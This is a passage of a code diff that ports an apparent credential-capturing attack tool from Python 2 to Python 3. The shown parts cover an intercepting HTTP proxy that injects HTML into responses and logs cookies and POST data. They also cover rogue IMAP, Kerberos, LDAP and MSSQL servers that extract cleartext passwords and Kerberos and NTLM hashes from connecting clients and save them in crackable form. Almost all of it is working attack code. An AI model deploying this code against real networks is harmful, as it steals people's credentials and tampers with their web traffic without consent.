if settings.Config.Serve_Html: # Serve the custom HTML if needed
|
||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||
|
||||
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasBody = re.findall(r'(<body[^>]*>)', Content, re.IGNORECASE)
|
||||
|
||||
HasBody = re.findall(b'(<body[^>]*>)', Content, re.IGNORECASE)
|
||||
|
||||
if HasBody and len(settings.Config.HtmlToInject) > 2 and not req_uri.endswith('.js'):
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
||||
print(text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1)))
|
||||
|
||||
Content = Content.replace(HasBody[0], '%s\n%s' % (HasBody[0], settings.Config.HtmlToInject))
|
||||
Content = Content.replace(HasBody[0], b'%s\n%s' % (HasBody[0], settings.Config.HtmlToInject.encode('latin-1')))
|
||||
|
||||
if "content-encoding: gzip" in Headers.lower():
|
||||
if b'content-encoding: gzip' in Headers.lower():
|
||||
Content = zlib.compress(Content)
|
||||
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
||||
data = Headers +'\r\n\r\n'+ Content
|
||||
Headers = Headers.replace(b'Content-Length: '+Len, b'Content-Length: '+ NetworkSendBufferPython2or3(len(Content)))
|
||||
data = Headers +b'\r\n\r\n'+ Content
|
||||
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Returning unmodified HTTP response")
|
||||
print(text("[PROXY] Returning unmodified HTTP response"))
|
||||
|
||||
return data
|
||||
|
||||
class ProxySock:
|
||||
|
|
@ -99,14 +108,14 @@ class ProxySock:
|
|||
# Replace the socket by a connection to the proxy
|
||||
self.socket = socket.socket(family, socktype, proto)
|
||||
self.socket.connect(sockaddr)
|
||||
except socket.error, msg:
|
||||
except socket.error as msg:
|
||||
if self.socket:
|
||||
self.socket.close()
|
||||
self.socket = None
|
||||
continue
|
||||
break
|
||||
if not self.socket :
|
||||
raise socket.error, msg
|
||||
raise socket.error(msg)
|
||||
|
||||
# Ask him to create a tunnel connection to the target host/port
|
||||
self.socket.send(
|
||||
|
|
@ -121,7 +130,7 @@ class ProxySock:
|
|||
|
||||
# Not 200 ?
|
||||
if parts[1] != "200":
|
||||
print color("[!] Error response from upstream proxy: %s" % resp, 1)
|
||||
print(color("[!] Error response from upstream proxy: %s" % resp, 1))
|
||||
pass
|
||||
|
||||
# Wrap all methods of inner socket, without any change
|
||||
|
|
@ -200,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
def handle(self):
|
||||
(ip, port) = self.client_address
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Received connection from %s" % self.client_address[0])
|
||||
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
|
||||
self.__base_handle()
|
||||
|
||||
def _connect_to(self, netloc, soc):
|
||||
|
|
@ -210,7 +219,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
else:
|
||||
host_port = netloc, 80
|
||||
try: soc.connect(host_port)
|
||||
except socket.error, arg:
|
||||
except socket.error as arg:
|
||||
try: msg = arg[1]
|
||||
except: msg = arg
|
||||
self.send_error(404, msg)
|
||||
|
|
@ -271,14 +280,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
URL_Unparse = urlparse.urlunparse(('', '', path, params, query, ''))
|
||||
|
||||
if self._connect_to(netloc, soc):
|
||||
soc.send("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version))
|
||||
soc.send(NetworkSendBufferPython2or3("%s %s %s\r\n" % (self.command, URL_Unparse, self.request_version)))
|
||||
|
||||
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Client : %s" % color(self.client_address[0], 3))
|
||||
print text("[PROXY] Requested URL : %s" % color(self.path, 3))
|
||||
print text("[PROXY] Cookie : %s" % Cookie)
|
||||
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3)))
|
||||
print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
|
||||
print(text("[PROXY] Cookie : %s" % Cookie))
|
||||
|
||||
self.headers['Connection'] = 'close'
|
||||
del self.headers['Proxy-Connection']
|
||||
|
|
@ -286,8 +295,8 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
del self.headers['Range']
|
||||
|
||||
for k, v in self.headers.items():
|
||||
soc.send("%s: %s\r\n" % (k.title(), v))
|
||||
soc.send("\r\n")
|
||||
soc.send(NetworkSendBufferPython2or3("%s: %s\r\n" % (k.title(), v)))
|
||||
soc.send(NetworkSendBufferPython2or3("\r\n"))
|
||||
|
||||
try:
|
||||
self._read_write(soc, netloc)
|
||||
|
|
@ -325,13 +334,14 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
|
|||
try:
|
||||
data = i.recv(4096)
|
||||
|
||||
if self.command == "POST" and settings.Config.Verbose:
|
||||
print text("[PROXY] POST Data : %s" % data)
|
||||
if self.command == b'POST' and settings.Config.Verbose:
|
||||
print(text("[PROXY] POST Data : %s" % data))
|
||||
except:
|
||||
pass
|
||||
if data:
|
||||
try:
|
||||
out.send(data)
|
||||
|
||||
count = 0
|
||||
except:
|
||||
pass
|
||||
|
|
|
|||
|
|
@ -14,36 +14,35 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
if (sys.version_info > (3, 0)):
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
class IMAP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreeting()))
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPGreeting()))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:15] == "CAPABILITY":
|
||||
if data[5:15] == b'CAPABILITY':
|
||||
RequestTag = data[0:4]
|
||||
self.request.send(str(IMAPCapability()))
|
||||
self.request.send(str(IMAPCapabilityEnd(Tag=RequestTag)))
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapability()))
|
||||
self.request.send(NetworkSendBufferPython2or3(IMAPCapabilityEnd(Tag=RequestTag.decode("latin-1"))))
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if data[5:10] == "LOGIN":
|
||||
Credentials = data[10:].strip()
|
||||
|
||||
if data[5:10] == b'LOGIN':
|
||||
Credentials = data[10:].strip().decode("latin-1").split('"')
|
||||
SaveToDb({
|
||||
'module': 'IMAP',
|
||||
'type': 'Cleartext',
|
||||
'client': self.client_address[0],
|
||||
'user': Credentials[0],
|
||||
'cleartext': Credentials[1],
|
||||
'fullhash': Credentials[0]+":"+Credentials[1],
|
||||
'user': Credentials[1],
|
||||
'cleartext': Credentials[3],
|
||||
'fullhash': Credentials[1]+":"+Credentials[3],
|
||||
})
|
||||
|
||||
## FIXME: Close connection properly
|
||||
## self.request.send(str(ditchthisconnection()))
|
||||
## data = self.request.recv(1024)
|
||||
except Exception:
|
||||
pass
|
||||
|
|
|
|||
|
|
@ -14,56 +14,61 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import codecs
|
||||
import struct
|
||||
from utils import *
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
EncType = Data[43:44]
|
||||
MessageType = Data[32:33]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02":
|
||||
if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33":
|
||||
if MsgType == b'\x0a' and EncType == b'\x17' and MessageType ==b'\x02':
|
||||
if Data[49:53] == b'\xa2\x36\x04\x34' or Data[49:53] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[50:51])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[153:154])[0]
|
||||
Name = Data[154:154+NameLen]
|
||||
Name = Data[154:154+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[154+NameLen+3:154+NameLen+4])[0]
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
Domain = Data[154+NameLen+4:154+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
|
||||
if Data[44:48] == "\xa2\x36\x04\x34" or Data[44:48] == "\xa2\x35\x04\x33":
|
||||
if Data[44:48] == b'\xa2\x36\x04\x34' or Data[44:48] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[45:46])[0]
|
||||
if HashLen == 53:
|
||||
Hash = Data[48:99]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[147:148])[0]
|
||||
Name = Data[148:148+NameLen]
|
||||
Name = Data[148:148+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[148+NameLen+3:148+NameLen+4])[0]
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
Name = Data[149:149+NameLen]
|
||||
Name = Data[149:149+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[149+NameLen+3:149+NameLen+4])[0]
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
|
||||
|
|
@ -71,69 +76,74 @@ def ParseMSKerbv5UDP(Data):
|
|||
MsgType = Data[17:18]
|
||||
EncType = Data[39:40]
|
||||
|
||||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
if MsgType == b'\x0a' and EncType == b'\x17':
|
||||
if Data[40:44] == b'\xa2\x36\x04\x34' or Data[40:44] == b'\xa2\x35\x04\x33':
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[144:145])[0]
|
||||
Name = Data[145:145+NameLen]
|
||||
Name = Data[145:145+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[145+NameLen+3:145+NameLen+4])[0]
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
elif HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
Name = Data[144:144+NameLen]
|
||||
Name = Data[144:144+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[144+NameLen+3:144+NameLen+4])[0]
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[149:150])[0]
|
||||
Name = Data[150:150+NameLen]
|
||||
Name = Data[150:150+NameLen].decode('latin-1')
|
||||
DomainLen = struct.unpack('<b',Data[150+NameLen+3:150+NameLen+4])[0]
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen].decode('latin-1')
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+codecs.encode(SwitchHash,'hex').decode('latin-1')
|
||||
return BuildHash
|
||||
return False
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
def handle(self):
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
|
||||
if KerbHash:
|
||||
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||
if KerbHash:
|
||||
n, krb, v, name, domain, d, h = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
|
||||
class KerbUDP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
try:
|
||||
data, soc = self.request
|
||||
KerbHash = ParseMSKerbv5UDP(data)
|
||||
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
if KerbHash:
|
||||
(n, krb, v, name, domain, d, h) = KerbHash.split('$')
|
||||
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
SaveToDb({
|
||||
'module': 'KERB',
|
||||
'type': 'MSKerbv5',
|
||||
'client': self.client_address[0],
|
||||
'user': domain+'\\'+name,
|
||||
'hash': h,
|
||||
'fullhash': KerbHash,
|
||||
})
|
||||
except:
|
||||
pass
|
||||
|
|
|
|||
|
|
@ -14,37 +14,44 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from SocketServer import BaseRequestHandler
|
||||
import sys
|
||||
if (sys.version_info > (3, 0)):
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import LDAPSearchDefaultPacket, LDAPSearchSupportedCapabilitiesPacket, LDAPSearchSupportedMechanismsPacket, LDAPNTLMChallenge
|
||||
from utils import *
|
||||
import struct
|
||||
import codecs
|
||||
|
||||
def ParseSearch(data):
|
||||
if re.search(r'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9]))
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
elif re.search(r'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9],MessageIDASN2Str=data[8:9]))
|
||||
if re.search(b'(objectClass)', data):
|
||||
return str(LDAPSearchDefaultPacket(MessageIDASNStr=data[8:9].decode('latin-1')))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
|
||||
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
|
||||
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=data[8:9].decode('latin-1'),MessageIDASN2Str=data[8:9].decode('latin-1')))
|
||||
|
||||
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
||||
SSPIStart = data.find('NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
SSPIStart = data.find(b'NTLMSSP')
|
||||
SSPIString = data[SSPIStart:]
|
||||
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
|
||||
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, Challenge.encode('hex'))
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
|
|
@ -56,37 +63,37 @@ def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
|
|||
})
|
||||
|
||||
if NthashLen > 60:
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
|
||||
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
|
||||
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
|
||||
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
|
||||
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
|
||||
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, Challenge.encode('hex'), SMBHash[:32], SMBHash[32:])
|
||||
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
|
||||
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'NTLMv2',
|
||||
'type': 'NTLMv2-SSP',
|
||||
'client': client,
|
||||
'user': Domain+'\\'+Username,
|
||||
'hash': SMBHash,
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
if LMhashLen < 2 and settings.Config.Verbose:
|
||||
print text("[LDAP] Ignoring anonymous NTLM authentication")
|
||||
print(text("[LDAP] Ignoring anonymous NTLM authentication"))
|
||||
|
||||
def ParseNTLM(data,client, Challenge):
|
||||
if re.search('(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9],NTLMSSPNtServerChallenge=Challenge)
|
||||
if re.search(b'(NTLMSSP\x00\x01\x00\x00\x00)', data):
|
||||
NTLMChall = LDAPNTLMChallenge(MessageIDASNStr=data[8:9].decode('latin-1'),NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||
NTLMChall.calculate()
|
||||
return str(NTLMChall)
|
||||
elif re.search('(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
return NTLMChall
|
||||
elif re.search(b'(NTLMSSP\x00\x03\x00\x00\x00)', data):
|
||||
ParseLDAPHash(data, client, Challenge)
|
||||
|
||||
def ParseLDAPPacket(data, client, Challenge):
|
||||
if data[1:2] == '\x84':
|
||||
if data[1:2] == b'\x84':
|
||||
PacketLen = struct.unpack('>i',data[2:6])[0]
|
||||
MessageSequence = struct.unpack('<b',data[8:9])[0]
|
||||
Operation = data[9:10]
|
||||
|
|
@ -94,14 +101,14 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
|
||||
LDAPVersion = struct.unpack('<b',data[17:18])[0]
|
||||
|
||||
if Operation == "\x60":
|
||||
if Operation == b'\x60':
|
||||
UserDomainLen = struct.unpack('<b',data[19:20])[0]
|
||||
UserDomain = data[20:20+UserDomainLen]
|
||||
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
|
||||
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]
|
||||
|
||||
if AuthHeaderType == "\x80":
|
||||
if AuthHeaderType == b'\x80':
|
||||
PassLen = struct.unpack('<b',data[20+UserDomainLen+1:20+UserDomainLen+2])[0]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen]
|
||||
Password = data[20+UserDomainLen+2:20+UserDomainLen+2+PassLen].decode('latin-1')
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
|
|
@ -111,24 +118,24 @@ def ParseLDAPPacket(data, client, Challenge):
|
|||
'fullhash': UserDomain+':'+Password,
|
||||
})
|
||||
|
||||
if sasl == "\xA3":
|
||||
if sasl == b'\xA3':
|
||||
Buffer = ParseNTLM(data,client, Challenge)
|
||||
return Buffer
|
||||
|
||||
elif Operation == "\x63":
|
||||
elif Operation == b'\x63':
|
||||
Buffer = ParseSearch(data)
|
||||
return Buffer
|
||||
|
||||
elif settings.Config.Verbose:
|
||||
print text('[LDAP] Operation not supported')
|
||||
print(text('[LDAP] Operation not supported'))
|
||||
|
||||
if data[5:6] == '\x60':
|
||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||
UserString = data[12:12+UserLen]
|
||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen]
|
||||
if settings.Config.Verbose:
|
||||
print text('[LDAP] Attempting to parse an old simple Bind request.')
|
||||
if data[5:6] == b'\x60':
|
||||
UserLen = struct.unpack("<b",data[11:12])[0]
|
||||
UserString = data[12:12+UserLen].decode('latin-1')
|
||||
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
|
||||
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
|
||||
if settings.Config.Verbose:
|
||||
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
|
||||
SaveToDb({
|
||||
'module': 'LDAP',
|
||||
'type': 'Cleartext',
|
||||
|
|
@ -143,12 +150,12 @@ class LDAP(BaseRequestHandler):
|
|||
try:
|
||||
self.request.settimeout(0.4)
|
||||
data = self.request.recv(8092)
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(5):
|
||||
Challenge = RandomChallenge()
|
||||
for x in range(5):
|
||||
Buffer = ParseLDAPPacket(data,self.client_address[0], Challenge)
|
||||
if Buffer:
|
||||
self.request.send(Buffer)
|
||||
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||
data = self.request.recv(8092)
|
||||
except:
|
||||
pass
|
||||
pass
|
||||
|
||||
|
|
|
|||
|
|
@ -14,11 +14,16 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
from utils import *
|
||||
import random
|
||||
import struct
|
||||
import codecs
|
||||
from utils import *
|
||||
if settings.Config.PY2OR3 is "PY3":
|
||||
from socketserver import BaseRequestHandler
|
||||
else:
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MSSQLPreLoginAnswer, MSSQLNTLMChallengeAnswer
|
||||
|
||||
|
||||
class TDS_Login_Packet:
|
||||
def __init__(self, data):
|
||||
|
|
@ -41,7 +46,7 @@ class TDS_Login_Packet:
|
|||
LocaleLen = struct.unpack('<h', data[74:76])[0]
|
||||
DatabaseNameOff = struct.unpack('<h', data[76:78])[0]
|
||||
DatabaseNameLen = struct.unpack('<h', data[78:80])[0]
|
||||
|
||||
data = NetworkRecvBufferPython2or3(data)
|
||||
self.ClientName = data[8+ClientNameOff:8+ClientNameOff+ClientNameLen*2].replace('\x00', '')
|
||||
self.UserName = data[8+UserNameOff:8+UserNameOff+UserNameLen*2].replace('\x00', '')
|
||||
self.Password = data[8+PasswordOff:8+PasswordOff+PasswordLen*2].replace('\x00', '')
|
||||
|
|
@ -52,28 +57,26 @@ class TDS_Login_Packet:
|
|||
self.Locale = data[8+LocaleOff:8+LocaleOff+LocaleLen*2].replace('\x00', '')
|
||||
self.DatabaseName = data[8+DatabaseNameOff:8+DatabaseNameOff+DatabaseNameLen*2].replace('\x00', '')
|
||||
|
||||
|
||||
def ParseSQLHash(data, client, Challenge):
|
||||
SSPIStart = data[8:]
|
||||
|
||||
LMhashLen = struct.unpack('<H',data[20:22])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[24:26])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen]
|
||||
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||
NthashLen = struct.unpack('<H',data[30:32])[0]
|
||||
NthashOffset = struct.unpack('<H',data[32:34])[0]
|
||||
NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
|
||||
NTHash = SSPIStart[NthashOffset:NthashOffset+NthashLen]
|
||||
NTHash = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
|
||||
DomainLen = struct.unpack('<H',data[36:38])[0]
|
||||
DomainOffset = struct.unpack('<H',data[40:42])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
|
||||
|
||||
UserLen = struct.unpack('<H',data[44:46])[0]
|
||||
